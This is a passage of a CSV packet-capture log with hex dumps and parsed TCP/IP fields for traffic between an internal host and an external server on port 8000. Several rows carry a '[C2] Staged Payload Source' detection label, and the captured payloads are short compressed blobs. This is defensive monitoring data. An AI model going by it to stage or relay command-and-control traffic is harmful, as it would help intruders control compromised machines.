\"\"chksum\"\": 16425, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682829, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38355, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:01.652685,138,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682830,bc2411360d0cbc24112907bb080045000034e25e400040064d95c0a3a7890a98980b1f40fa20b91036785424920e8010003f0af700000101050a5424920d5424920e,\".$.6\n..$.)....E..4.^@.@.M.....\n....@. ..6xT$.....?\n......\nT$.\nT$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57950, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19861, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682830, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682829, 1411682830))]\"\"}}]\"\n2026-07-01 09:06:02.531667,139,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1411682830 Ack=3104847480,bc24112907bbbc2411360d0c08004500003dafd64000800640140a98980bc0a3a789fa201f405424920eb910367850182014301500001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45014, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16404, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682830, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12309, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:06:02.531704,140,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682851,bc2411360d0cbc24112907bb080045000028e25f400040064da0c0a3a7890a98980b1f40fa20b9103678542492235010003f0aeb0000,\".$.6\n..$.)....E..(._@.@.M.....\n....@. ..6xT$.#P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 57951, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19872, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682851, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:06:02.619820,141,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=3104847480 Ack=1411682851,bc2411360d0cbc24112907bb080045000028e260400040064d9fc0a3a7890a98980b1f40fa20b9103678542492235011003f0aeb0000,\".$.6\n..$.)....E..(.`@.@.M.....\n....@. ..6xT$.#P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 57952, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19871, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682851, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:06:02.620105,142,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1411682851 Ack=3104847481,bc24112907bbbc2411360d0c080045000028afd74000800640280a98980bc0a3a789fa201f4054249223b91036795010201495bd0000,\".$.)...$.6\n...E..(..@...@(\n........ .@T$.#..6yP. .....\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45015, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16424, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682851, \"\"ack\"\": 3104847481, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38333, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:06:02.620646,143,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=1411682851 Ack=3104847481,bc24112907bbbc2411360d0c080045000028afd84000800640270a98980bc0a3a789fa201f4054249223b91036795011201495bc0000,\".$.)...$.6\n...E..(..@...@'\n........ .@T$.#..6yP. .....\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45016, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16423, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682851, \"\"ack\"\": 3104847481, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38332, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:06:02.620660,144,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847481 Ack=1411682852,bc2411360d0cbc24112907bb0800450000280000400040063000c0a3a7890a98980b1f40fa20b9103679542492245010003fb5910000,\".$.6\n..$.)....E..(..@.@.0.....\n....@. ..6yT$.$P..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12288, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847481, \"\"ack\"\": 1411682852, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 46481, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:06:06.639818,145,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=1686224817 Ack=0,bc24112907bbbc2411360d0c080045000034afd940008006401a0a98980bc0a3a789fa491f406481bfb1000000008002faf02b920000020405b40103030801010402,\".$.)...$.6\n...E..4..@...@.\n........I.@d...........+...............\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45017, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16410, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224817, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 11154, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-01 09:06:06.639861,146,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=614774838 Ack=1686224818,bc2411360d0cbc24112907bb0800450000340000400040062ff4c0a3a7890a98980b1f40fa4924a4b8366481bfb28012faf00af70000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@./.....\n....@.I$..6d.......\n..............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12276, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774838, \"\"ack\"\": 1686224818, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-01 09:06:06.640153,147,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1686224818 Ack=614774839,bc24112907bbbc2411360d0c080045000028afda4000800640250a98980bc0a3a789fa491f406481bfb224a4b837501020146a560000,\".$.)...$.6\n...E..(..@...@%\n........I.@d...$..7P. .jV..\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45018, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16421, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224818, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27222, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:06:06.655712,148,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1686224818 Ack=614774839,bc24112907bbbc2411360d0c0800450000c9afdb400080063f830a98980bc0a3a789fa491f406481bfb224a4b8375018201417ba00009d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91f77199c7d3e329350f005207acf4,\"........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq..\t...M.w5.\n_.`....=w..........W.~...z].m..q....)5..R...\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 201, \"\"id\"\": 45019, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16259, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224818, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6074, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"9d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91f77199c7d3e329350f005207acf4\"\"}}]\"\n2026-07-01 09:06:06.655735,149,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686224979,bc2411360d0cbc24112907bb0800450000288aa940004006a556c0a3a7890a98980b1f40fa4924a4b8376481c0535010003f0aeb0000,\".$.6\n..$.)....E..(..@.@..V....\n....@.I$..7d..SP..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35497, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42326, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686224979, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:06:07.668578,150,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224978 Ack=614774839,bc24112907bbbc2411360d0c080045000029afdc4000800640220a98980bc0a3a789fa491f406481c05224a4b8375010201469b5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45020, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16418, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224978, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27061, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:07.668608,151,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686224979,bc2411360d0cbc24112907bb0800450000348aaa40004006a549c0a3a7890a98980b1f40fa4924a4b8376481c0538010003f0af700000101050a6481c0526481c053,\".$.6\n..$.)....E..4..@.@..I....\n....@.I$..7d..S...?\n......\nd..Rd..S\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35498, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42313, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686224979, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224978, 1686224979))]\"\"}}]\"\n2026-07-01 09:06:08.684091,152,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224978 Ack=614774839,bc24112907bbbc2411360d0c080045000029afdd4000800640210a98980bc0a3a789fa491f406481c05224a4b8375010201469b5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45021, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16417, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224978, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27061, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:08.684115,153,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686224979,bc2411360d0cbc24112907bb0800450000348aab40004006a548c0a3a7890a98980b1f40fa4924a4b8376481c0538010003f0af700000101050a6481c0526481c053,\".$.6\n..$.)....E..4..@.@..H....\n....@.I$..7d..S...?\n......\nd..Rd..S\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35499, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42312, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686224979, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224978, 1686224979))]\"\"}}]\"\n2026-07-01 09:06:09.699772,154,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224978 